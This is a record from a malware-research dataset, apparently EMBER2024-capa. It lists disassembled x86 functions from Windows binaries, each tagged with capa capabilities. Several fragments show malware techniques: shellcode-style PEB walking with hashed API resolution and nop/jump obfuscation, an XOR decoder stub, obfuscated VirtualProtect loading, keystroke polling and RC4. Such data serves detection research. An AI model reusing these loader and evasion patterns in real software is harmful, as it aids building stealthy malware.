joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40a22e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x426458]
jne 0x40a238
repz ret
jmp fcn.0040cf5b

Function at 0x40a9cb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x426458]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.004084e7
and dword [ebp - 0x14], 0
cmp dword [0x4289e0], 0
mov dword [ebp - 0x18], eax
jne 0x40aa7e
push 0x4021f0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40ab26
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4021e4
push ebx
call edi
test eax, eax
je 0x40ab26
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x4021d4
push ebx
mov dword [0x4289e0], eax
call edi
push eax
call esi
push 0x4021c0
push ebx
mov dword [0x4289e4], eax
call edi
push eax
call esi
push 0x4021a4
push ebx
mov dword [0x4289e8], eax
call edi
push eax
call esi
mov dword [0x4289f0], eax
test eax, eax
je 0x40aa7e
push 0x40218c
push ebx
call edi
push eax
call esi
mov dword [0x4289ec], eax
mov eax, dword [0x4289ec]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40aad7
cmp dword [0x4289f0], ecx
je 0x40aad7
push eax
call esi
push dword [0x4289f0]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40aad7
test ebx, ebx
je 0x40aad7
call edi
test eax, eax
je 0x40aace
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40aace
test byte [ebp - 8], 1
jne 0x40aad7
or dword [ebp + 0x10], 0x200000
jmp 0x40ab0a
mov eax, dword [0x4289e4]
cmp eax, dword [ebp - 0x18]
je 0x40ab0a
push eax
call esi
test eax, eax
je 0x40ab0a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40ab0a
mov eax, dword [0x4289e8]
cmp eax, dword [ebp - 0x18]
je 0x40ab0a
push eax
call esi
test eax, eax
je 0x40ab0a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x4289e0]
call esi
test eax, eax
je 0x40ab26
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40ab28
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040a22e
leave
ret
Function at 0x4224e0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ecx
mov eax, 0x6b
mov edx, 0x72
mov word [0x7aca90], ax
mov word [0x7aca94], dx
mov ecx, 0x6e
mov edx, 0x65
xor eax, eax
push 0x7aca90
mov dword [0x7aca9c], 0x320033
mov dword [0x7acaa4], 0x6c006c
mov word [0x7aca96], cx
mov dword [0x7aca98], 0x6c0065
mov dword [0x7acaa0], 0x64002e
mov word [0x7aca92], dx
mov word [0x7acaa8], ax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, dword [0x7aca8c]
lea ecx, [esp]
push ecx
push 0x40
mov dword [0x7aca88], eax
mov eax, dword [0x42dadc]
push edx
push eax
mov byte [0x428d53], 0x65
mov dword [0x428d49], 0x75747269
mov word [0x428d4d], 0x6c61
mov byte [0x428d48], 0x56
mov word [0x428d54], 0x7463
mov byte [0x428d56], 0
mov dword [0x428d4f], 0x746f7250
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pop ecx
ret

Function at 0x4225d0
Capabilities:
Delete directory
Get common file path
Manipulate console buffer

Disassembly:
mov eax, 0x148c
call fcn.0040cf30
cmp dword [0x7aca8c], 0x37
jne 0x4226a5
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
push 0x4046b4
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetStdHandle]
mov ecx, dword [esp + 4]
push 0
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_MapUserPhysicalPages]
push 0
lea edx, [esp + 0x48c]
push edx
push 0x4046c4
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
lea eax, [esp + 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
lea edx, [esp + 0xc]
push edx
push 0x4046ec
call dword [sym.imp.KERNEL32.dll_GetCompressedFileSizeA]
lea eax, [esp + 0x10]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessIoCounters]
push 0
lea ecx, [esp + 0xc8c]
push ecx
push 0
push 0x4046f8
push 0
call dword [sym.imp.KERNEL32.dll_FoldStringW]
push 0
push 0
push 0
push 0x404724
push 0x404740
push 0x404750
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
mov edx, dword [0x7ada80]
mov dword [esp + 4], edx
mov eax, 0x5d1
add dword [esp + 4], eax
mov eax, dword [esp + 4]
mov cl, byte [eax + esi]
mov edx, dword [0x42dadc]
mov byte [edx + esi], cl
add esp, 0x148c
ret
Function at 0x422840
Capabilities:
Manipulate console buffer
Move file

Disassembly:
mov eax, dword [0x7aca8c]
sub esp, 0x2dc
push ebx
push ebp
push esi
mov esi, dword [0x42dadc]
shr eax, 3
push edi
test eax, eax
je 0x4229ec
mov dword [esp + 0x18], esi
mov dword [esp + 0x20], eax
jmp 0x422874
mov esi, dword [esp + 0x18]
cmp dword [0x7aca8c], 0x1c
jne 0x422891
lea eax, [esp + 0x38]
push eax
push 0
lea ecx, [esp + 0x44]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov edx, dword [0x427210]
mov ecx, dword [0x427214]
mov eax, dword [esi]
mov edi, dword [esi + 4]
mov dword [esp + 0x28], edx
mov edx, dword [0x427218]
mov dword [esp + 0x2c], ecx
mov ecx, dword [0x42721c]
mov dword [esp + 0x14], eax
mov ebx, 0xc6ef3720
mov dword [esp + 0x24], edx
mov dword [esp + 0x34], ecx
mov dword [esp + 0x1c], 0x20
jmp 0x4228d5
mov eax, dword [esp + 0x14]
mov edx, eax
mov ecx, eax
shr edx, 5
add edx, dword [esp + 0x34]
shl ecx, 4
add ecx, dword [esp + 0x24]
add eax, ebx
xor edx, ecx
xor edx, eax
sub edi, edx
mov ecx, edi
shl ecx, 4
mov dword [0x7ac9fc], 0
mov dword [esp + 0x10], ecx
mov eax, dword [esp + 0x28]
add dword [esp + 0x10], eax
cmp dword [0x7aca8c], 0x1be
lea ebp, [ebx + edi]
jne 0x42292a
lea edx, [esp + 0x30]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov esi, edi
shr esi, 5
add esi, dword [esp + 0x2c]
cmp dword [0x7aca8c], 0x979
mov dword [0x7aca00], 0xff6b3619
mov dword [0x7aca04], 0xffffffff
jne 0x42296a
mov eax, dword [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
xor esi, ebp
xor dword [esp + 0x10], esi
mov eax, dword [esp + 0x10]
sub dword [esp + 0x14], eax
add ebx, 0x61c88647
dec dword [esp + 0x1c]
jne 0x4228d1
cmp dword [0x7aca8c], 0x8d4
jne 0x42299f
lea ecx, [esp + 0x50]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
mov esi, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
mov dword [esi], edx
mov dword [esi + 4], edi
cmp dword [0x7aca8c], 0x17
jne 0x4229db
push 0
push 0
push 0
push 0x404690
push 0x4046a0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressA]
lea eax, [esp + 0x98]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
add esi, 8
dec dword [esp + 0x20]
mov dword [esp + 0x18], esi
jne 0x422870
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2dc
ret
Function at 0x46cece
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x522aa0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.0046625f
mov dword [ebp - 0x14], eax
cmp dword [0x5249d8], edi
jne 0x46cfbf
push 0x800
push edi
push 0x472d08
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x46cf4c
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x46d09f
push 0x472d08
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x46d09f
push 0x472d20
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x46d09f
push eax
call ebx
push 0x472d2c
push esi
mov dword [0x5249d8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x472d3c
push esi
mov dword [0x5249dc], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x472d50
push esi
mov dword [0x5249e0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5249e8], eax
test eax, eax
je 0x46cfbc
push 0x472d6c
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x5249e4], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x46cfe4
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x46cfd7
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x46cff9
push 4
pop eax
jmp 0x46d0a1
cmp dword [ebp - 0x14], edi
je 0x46cff9
push dword [0x5249d8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x46cfde
mov eax, dword [0x5249e4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x46d057
cmp dword [0x5249e8], esi
je 0x46d057
push eax
call ebx
push dword [0x5249e8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x46d057
test eax, eax
je 0x46d057
call ecx
test eax, eax
je 0x46d04c
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x46d04c
test byte [ebp - 8], 1
jne 0x46d057
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x46d087
mov eax, dword [0x5249dc]
cmp eax, esi
je 0x46d084
push eax
call ebx
test eax, eax
je 0x46d084
call eax
mov edi, eax
test edi, edi
je 0x46d084
mov eax, dword [0x5249e0]
cmp eax, esi
je 0x46d084
push eax
call ebx
test eax, eax
je 0x46d084
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x5249d8]
call ebx
test eax, eax
je 0x46d09f
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x46d0a1
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00462232
leave
ret
Function at 0x408fc0
Capabilities:
Get common file path

Disassembly:
sub esp, 0x12c
mov eax, dword [0x447d10]
mov dword [esp + 0x128], eax
mov al, byte [0x449d54]
test al, al
jne 0x4090da
lea eax, [esp]
push eax
mov dword [esp + 0x24], 0xf
mov dword [esp + 0x20], 0
mov byte [esp + 0x10], 0
call dword [sym.imp.SHELL32.dll_SHGetMalloc]
lea ecx, [esp + 4]
push ecx
push 5
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
test eax, eax
jl 0x409031
mov eax, dword [esp + 4]
lea edx, [esp + 0x24]
push edx
push eax
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
mov edx, dword [esp + 4]
mov eax, dword [esp]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0x14]
jmp 0x409043
lea eax, [esp + 0x24]
push 0x4398b8
push eax
call fcn.00416f3f
add esp, 8
mov eax, dword [esp]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea eax, [esp + 0x24]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x409053
sub eax, edx
push eax
lea edx, [esp + 0x28]
push edx
lea ecx, [esp + 0x10]
call fcn.00403ef0
push 8
push str.KONAMI_
lea ecx, [esp + 0x10]
call fcn.00408870
push 0x16
push str.PES_Infinitty_Patch_24
lea ecx, [esp + 0x10]
call fcn.00408870
push 1
push 0x439890
lea ecx, [esp + 0x10]
call fcn.00408870
cmp dword [esp + 0x20], 0x10
mov eax, dword [esp + 0xc]
jae 0x4090aa
lea eax, [esp + 0xc]
push 0x410
push eax
push 0x449388
call fcn.004171a0
mov eax, dword [esp + 0x2c]
add esp, 0xc
cmp eax, 0x10
mov byte [0x449d54], 1
jb 0x4090da
mov eax, dword [esp + 0xc]
push eax
call fcn.0042cfc9
add esp, 4
mov ecx, dword [esp + 0x128]
mov eax, 0x449388
call fcn.004164ae
add esp, 0x12c
ret

Function at 0x40c553
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40c568
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x40c57a
xor eax, eax
jmp 0x40c5ac
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40c59e
cmp esi, eax
jae 0x40c576
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x40c590
cmp esi, eax
jae 0x40c576
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop ebp
ret
Function at 0x40620d
Capabilities:
Access peb ldr_data
Resolve function by parsing pe exports

Disassembly:
or eax, 0x48da324d
nop
jmp 0x406221
pushal
nop
jmp 0x406233
xor edx, edx
nop
mov edx, dword fs:[edx + 0x30]
nop
mov ebp, esp
nop
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
jmp 0x40624e
movzx ecx, word [edx + 0x26]
nop
xor edi, edi
nop
jmp 0x406264
mov esi, dword [edx + 0x28]
nop
xor eax, eax
lodsb al, byte [esi]
nop
jmp 0x406277
cmp al, 0x61
nop
jmp 0x406284
jl 0x4062b5
nop
jmp 0x406296
nop
jmp 0x4062a5
sub al, 0x20
jmp 0x4062b5
nop
ror edi, 0xd
add edi, eax
nop
dec ecx
jne 0x406268
jmp 0x4062cd
jmp 0x4062dc
push edx
jmp 0x4062ea
mov edx, dword [edx + 0x10]
jmp 0x4062fb
mov eax, dword [edx + 0x3c]
jmp 0x40630a
push edi
jmp 0x40631a
add eax, edx
jmp 0x40632a
mov eax, dword [eax + 0x78]
jmp 0x40633d
test eax, eax
nop
je 0x40654f
nop
jmp 0x406354
jmp 0x406361
add eax, edx
jmp 0x406370
mov ebx, dword [eax + 0x20]
mov ecx, dword [eax + 0x18]
nop
jmp 0x406387
add ebx, edx
jmp 0x406395
push eax
nop
jmp 0x4063a2
jmp 0x4063af
test ecx, ecx
nop
jmp 0x4063c3
je 0x40652c
jmp 0x4063d8
nop
jmp 0x4063e6
xor edi, edi
nop
dec ecx
nop
jmp 0x4063fa
mov esi, dword [ebx + ecx*4]
nop
jmp 0x40640c
add esi, edx
nop
jmp 0x406419
jmp 0x406429
xor eax, eax
lodsb al, byte [esi]
ror edi, 0xd
add edi, eax
nop
jmp 0x40643c
cmp al, ah
nop
jne 0x406419
jmp 0x406457
add edi, dword [ebp - 8]
cmp edi, dword [ebp + 0x24]
nop
jne 0x4063a2
jmp 0x406475
pop eax
nop
jmp 0x406486
mov ebx, dword [eax + 0x24]
nop
jmp 0x40649a
add ebx, edx
nop
mov cx, word [ebx + ecx*2]
jmp 0x4064b2
mov ebx, dword [eax + 0x1c]
jmp 0x4064c9
add ebx, edx
nop
jmp 0x4064dd
mov eax, dword [ebx + ecx*4]
nop
add eax, edx
nop
jmp 0x4064f8
mov dword [esp + 0x24], eax
nop
pop ebx
nop
pop ebx
popal
nop
pop ecx
nop
pop edx
nop
jmp 0x406519
push ecx
nop
jmp 0x40652a
jmp eax
jmp 0x406540
pop eax
nop
jmp 0x40654f
nop
pop edi
nop
pop edx
jmp 0x406565
mov edx, dword [edx]
jmp 0x406579
jmp 0x40624e

Function at 0x40670d
Capabilities:
Encode data using xor

Disassembly:
call 0x406608
mov ecx, 0x1e6
call 0x40670d
rcr dword [esi + 0x30], 0x4c
push cs
pop es
xor byte [esi + ecx + 7], cl
loop 0x406710
mov eax, 0x50402d6
out dx, al
clc
div esi
cmc
retf 0x3d52
Function at 0x44de6b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
mov eax, dword [0x9f9b1c]
mov dword [ebp - 4], eax
pushal
mov eax, 0xffffffff
mov ecx, dword [ebp + 0xc]
cmp ecx, 0
je 0x44deaf
mov esi, dword [ebp + 8]
dec esi
xor ebx, ebx
mov edi, dword [ebp - 4]
mov bl, byte [esi + ecx]
xor bl, al
shr eax, 8
and eax, 0xffffff
xor eax, dword [edi + ebx*4]
loop 0x44de9d
and eax, 0x7fffffff
mov edx, dword [ebp + 0x18]
mov dword [edx], eax
xor edx, edx
div dword [ebp + 0x14]
shl edx, 2
add edx, dword [ebp + 0x10]
mov dword [ebp - 4], edx
popal
mov eax, dword [ebp - 4]
jmp 0x44ded0
mov esp, ebp
pop ebp
ret 0x14
Function at 0x45fa00
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x50b62b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004ff41a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x45fa82
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004fd064
mov eax, dword [eax]
push 0x9dad00
push eax
call fcn.004ee604
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004ff6a5
test bl, bl
je 0x45fa82
push 0x9dad00
lea ecx, [esp + 0xc]
call fcn.004ffa35
push 0x9dad0c
lea ecx, [esp + 0xc]
call fcn.004ffa35
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x45fabe
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004ff6a5
jmp 0x45fb89
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x45fb42
lea edx, [esp + 0x7c]
push 0x9dad08
push edx
call fcn.004ee604
add esp, 8
test eax, eax
je 0x45fb42
lea eax, [esp + 0x7c]
push 0x9dad04
push eax
call fcn.004ee604
add esp, 8
test eax, eax
je 0x45fb42
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x45fad2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004ff6a5
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x460390
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4603f2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x460400
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x50b6ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x9f5894]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x460538
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x460466
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ff6a5
xor eax, eax
jmp 0x4605af
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004ff7e2
push esi
lea ecx, [esp + 0xc]
call fcn.004ffa71
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x46058d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.00460390
test eax, eax
jne 0x46058d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.00460390
test eax, eax
jne 0x46058d
lea eax, [esp + 0x14]
push 0x9dad1c
push eax
call fcn.004ef750
mov esi, eax
add esp, 8
test esi, esi
jne 0x46056c
lea ecx, [esp + 0x14]
push 0x9dad18
push ecx
call fcn.004ef6d0
mov esi, eax
add esp, 8
test esi, esi
jne 0x46056c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x46056f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004ff792
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x46047e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004ff6a5
xor eax, eax
jmp 0x4605af
mov byte [esi], 0
push 0x9dad14
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004ff6a5
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x470e60
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x470ece
cmp si, 0x69
ja 0x470ece
add esi, 0xffd0
cmp si, 0x11
je 0x470e9e
push 0x11
call edi
test ax, ax
jge 0x470e9e
or esi, 0x2000
cmp si, 0x10
je 0x470eb3
push 0x10
call edi
test ax, ax
jge 0x470eb3
or esi, 0x4000
cmp si, 0x12
je 0x470ec8
push 0x12
call edi
test ax, ax
jge 0x470ec8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x470edb
mov esi, 0xbd
jmp 0x470e8f
cmp si, 0x6e
jne 0x470ee8
mov esi, 0xbe
jmp 0x470e8f
cmp si, 0x6f
jne 0x470e89
mov esi, 0xbf
jmp 0x470e8f

Function at 0x472e00
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0xa06238]
xor edx, edx
cmp eax, edx
jne 0x472e26
xor eax, eax
mov byte [eax + 0xa06138], al
inc eax
cmp eax, 0x100
jl 0x472e0e
mov dword [0xa06238], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0xa06138
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x472eb7
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x472e8a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x472e58
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x472f30
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x472f83
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x472f6a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret